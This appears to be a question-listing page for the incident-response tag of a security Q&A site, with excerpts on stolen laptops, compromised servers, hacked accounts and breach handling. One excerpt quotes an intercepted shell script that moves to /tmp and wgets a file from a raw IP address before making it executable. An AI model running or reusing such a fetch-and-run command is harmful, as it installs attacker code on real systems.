The art of responding to incidents in an organized and thoughtful manner.

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9
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4answers
1k views

How to track a laptop after theft?

Our company had a break-in this evening and a laptop was stolen. The data on the laptop was not super-sensitive (luckily); however, we would like to be able to track the laptop if at all possible. ...
2
votes
1answer
69 views

Incident isolation and containment approach

In incident response, there are commonly two approaches to isolation and containment after a genuine incident is reported. Compromised systems are disabled or disconnected but operations carries on ...
0
votes
0answers
29 views

Is it suspicious that mail server sends traffic to Tor Exit node?

I am monitoring the outbound traffic from mail server through IDS and recently I observed there were some traffic sending to Tor Exit nodes from mail server, for example, IP 46.183.85.124. After doing ...
2
votes
2answers
47 views

The impact of 'hacking insurance' on the information security industry

I recently attended a general IT conference and saw some interesting vendors of various products and services. One of them was a company providing hacking insurance, and they said that there were two ...
114
votes
2answers
9k views

I found unknown PHP code on my server. How do I de-obfuscate the code?

We've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on ...
27
votes
3answers
3k views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
3
votes
1answer
41 views

Planning Incident Response / Business Continuity

An IT company has already most of the standard procedures / precautions in place to do day-to-day business in a secure way e.g. policies for users what to do and what not to do, technical solutions ...
12
votes
8answers
2k views

Facebook account keeps getting hacked, can't seem to figure out why or how?

One of my friends, she has a lot of friends on Facebook, and uses it for marketing. Her account keeps getting broken into. Her password gets reset and/or gets locked for changing resetting password ...
5
votes
2answers
85 views

Server Compromised. Steps to determine further damage on the network? [closed]

So one of your servers is compromised. You determine this because you notice a weird process running (as root, unfortunately). No helpful information about this process from Googling around. First ...
9
votes
4answers
1k views

Gmail account hack prevention and recovery

I am doing a research on how to prevent my gmail account from being hacked and what are the options of claiming it back. The associated phone number and recovery email can be changed, in fact I ...
2
votes
1answer
83 views

Response on targeted attacks against an individual

I'm now an aim for a targeted attack. Someone tries to gather information about me and tries to get access to my accounts. Some time before he/they've managed to succeed (got all the info from my ...
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
2
votes
1answer
46 views

Accounts being accessed from X country

So recently I've been getting emails that X account has been accessed from Y country with an IP address that I obviously don't own. An example would be my Steam account which recently got accessed ...
3
votes
2answers
119 views

Need some recommendations on good IR hands-on training

Does anyone know if there is any good hands-on training for incident response and digital forensics, or certification I need to take in order to gain more hands-on experience? Thanks and any helpful ...
0
votes
1answer
43 views

Responding to a coordinated attack against financial transaction systems [closed]

Imagine a coordinated attack by a large and motivated hacking group, that results in a nation-level compromise of the financial systems we take for granted: credit card payments, accounts at the top ...
1
vote
2answers
1k views

glibc getaddrinfo (CVE-2015-7547) vulnerability: should I update glibc if I do not configure DNS?

Recently Googly discover glibc getaddrinfo (CVE-2015-7547) vulnerability: https://googleonlinesecurity.blogspot.co.il/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html We run our application on ...
6
votes
1answer
626 views

How do I identify which PC made a suspicious DNS query?

Our IDS detected a suspicious DNS packet going to a Botnet (or similar). Since that DC is a recursive relay, how can we identify the client who made that request. (Windows DNS server)
5
votes
1answer
372 views

PGP-encrypted Email or SSL/TLS Webform for Responsible Disclosure Communication?

So it's a fairly simple question. When offering an avenue to security researchers for communication with us regarding disclosure of security vulnerabilities, what's the best way to do so? Assume we ...
1
vote
2answers
254 views

How to analyze the netstat log for suspicious connections?

I found a question from here: http://www.activeresponse.org/20-questions-for-an-intrusion-analyst/ But not sure what its answer is. Here is the question and it asks me to find out all suspicious ...
3
votes
2answers
145 views

How should we announce vulnerabilities in our application?

I have asked about security release notes Considerations for security release notes I need additional clarification about security vulnerabilities announcement. We create major release of our product ...
1
vote
2answers
329 views

What are the most relevant security events/incidents any company should monitor? [closed]

What are the most relevant security events/incidents any company should monitor using event management tools? Related to servers, antivirus, networks, etc.
4
votes
0answers
79 views

Detect malicious content on enourmous multi-site CMS [closed]

My Goal: My hope is to catch pages and content that would be flagged by Google Safe Browsing or others like it, except more proactive than waiting for a crawl by Google or being added to a ...
-4
votes
1answer
63 views

sourcing harrassing texts [closed]

I live in the US. Someone is texting harrassing messages to me. I have done a reverse lookup which dead-ends in a landline number. The number I have has been confirmed by my wireless Carrier. It ...
33
votes
6answers
3k views

After getting doxxed, how can one protect personally identifiable information?

Doxing (publicly releasing private information about an individual, to make it easier to harass them) is becoming an increasingly popular tactic not just for hackivists and Anonymous, but also for ...
6
votes
4answers
4k views

How should I react to finding GMail outbox e-mails that I didn't send?

This morning I found 17 e-mails in my GMail outbox that I didn't send. The e-mails were sent to seemingly random people from my GMail contacts and contained the link to a suspicious php file on ...
10
votes
4answers
3k views

I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
0
votes
2answers
3k views

Wireless Adapters for Testing with BackTrack

I would like to begin testing and working with BackTrack. I have heard that the Alfa AWUS036H wireless adapter works well with BackTrack and allows for packet injection. This adapter, however, is ...
0
votes
1answer
44 views

Additional Protection Against DDoS

We have subscribed to an upstream ISP's protection service to protect against DDoS. I am thinking of developing a incident procedure in case my ISP's DDoS mitigation fails (highly unlikely right?). ...
7
votes
2answers
114 views

Have there been successful class action lawsuits due to infosec breaches?

Whenever there is a major security breach affecting consumers, often large costs are quoted (e.g. 35 million for TalkTalk). One reason given for these large costs is the potential for affected people ...
19
votes
6answers
715 views

What should I do when classified information stayed on a unauthorized laptop?

Has anyone ever had to deal with an unauthorized laptop accidentally getting Top Secret level data on it? How did you quarantine the system. Were you required to turn in the entire laptop or were you ...
140
votes
9answers
17k views

How do organizations check *what* has been hacked?

In the UK, the company TalkTalk was recently hacked. It was later discovered, after 'investigation' that the hack was not as serious as it could have been (and less than expected). I'm wondering: ...
0
votes
0answers
75 views

SSH attempt blocked now ECDSA keys changed

Last night I had an external IP tried to access my server over SSH. The attempt was blocked as it failed to authorise in the number of times and time limit that I'd specified. Doing a whois on the ip ...
3
votes
3answers
376 views

Gmail account hacked - what was it used for?

We use GMail for our business email, we are a small company. I do the mail administration for our domain, and I was recently alerted by an email from Google that a colleague's account had some ...
9
votes
7answers
2k views

If I suspect my server is compromised then should I disconnect it immediately or not? From Power or Network?

According to Mandiant, you should not: Mistake #1: Immediately entering “remediaton mode” – also known as playing “Whack-A-Mole” ... as described here: http://blog.mandiant.com/archives/1525 ...
0
votes
1answer
72 views

Definition of security incident [closed]

What's a security incident in information security? Can an unsuccessful attack (blocked by an IPS for instance) or an attack without real impact (a port scan for instance) be considered a security ...
6
votes
1answer
150 views

Incident Response - Which logs are of most interest following a social engineered remote desktop attack

Unfortunately, someone in my family fell for a phone scam after data was leaked from TalkTalk. As a result, they allowed remote access to two computers and transferred money from their bank account to ...
0
votes
2answers
130 views

What is a “proof of concept” file to report security issues?

Last month I reported a security issue to Adobe through an email encrypted with PGP. I recieved the comfirmation email, but no response past that. I checked the "Alert us" page and it said that you ...
9
votes
5answers
6k views

Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
0
votes
1answer
40 views

Adobe PSIRT Average Response Time [closed]

Anyone have any experience in contacting the Adobe Product Security Incident Response Team (PSIRT)? I sent in an exploit that I found two weeks ago and I have not heard from them since. Would they ...
1
vote
1answer
71 views

Security server log review [closed]

We have a Kiwi Syslog server for Centralized logging purposes. Currently, our focus is only on monitoring, reviewing and reporting User Account/Password Violations. We already used the necessary ...
3
votes
0answers
115 views

attack on Unix procmail analysis

2 days ago I received the following E-mail (this is its original format not the one of any mailer, but where sensitive information is replaced by ••field_name••): From qqqqqq@freemail.net Thu Jul ...
6
votes
1answer
118 views

How do I protect myself from the aftermath of the OPM hack?

As a federal employee, I, along with some 4 million other Americans had our information compromised in the recent OPM (office of personal management) hack. Former and current addresses, names of ...
2
votes
1answer
178 views

Data collection when responding to malware alerts

When investigating malware alerts I would like to collect some information from the system before the decision gets made to take the system off of the network and re-imaged, or if further forensics is ...
1
vote
2answers
84 views

ISO27001 Certification - Business Incident

We have a defined and certified scope. If we have a business event that impacts the services or a building that is "in" scope and we have to shut that building down and recover services to another ...
0
votes
1answer
85 views

What security considerations should I take when planning do to Incident Response in my hybrid public cloud environment?

I am trying to compile a list of areas one should be aware of when doing Incident Response on public cloud environments, e.g. a hybrid public cloud, where some services are provisioned in local ...
11
votes
2answers
269 views

How should I manage people/technicians during an incident/outbreak?

Assume there is an incident that requires immediate response, such as a virus outbreak over email, Cryptolocker actively encrypting files, or a DOS attack. How should I approach this in a way that ...
15
votes
1answer
2k views

What should be included in a jump bag and how often should it be reviewed?

What items should be included in a jump bag? How often do you review your jump bag?
0
votes
1answer
93 views

Ensuring security of a Disaster Recovery Plan

The Disaster Recovery Plan (DRP) is a document that outlines, in detail, the actions that should be taken to restore systems & files in the event of a catastrophe. The fact that these plans hold ...
20
votes
8answers
3k views

Best practices for handling computer viruses

I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ...
0
votes
1answer
87 views

Is there a “how to” about Gmail fraud, updated at least once per week?

My Gmail account has just been cracked and many of my contacts are receiving fake emails, claiming that I'm in troubles and requesting money. Searching for advice, using Google, about what actions ...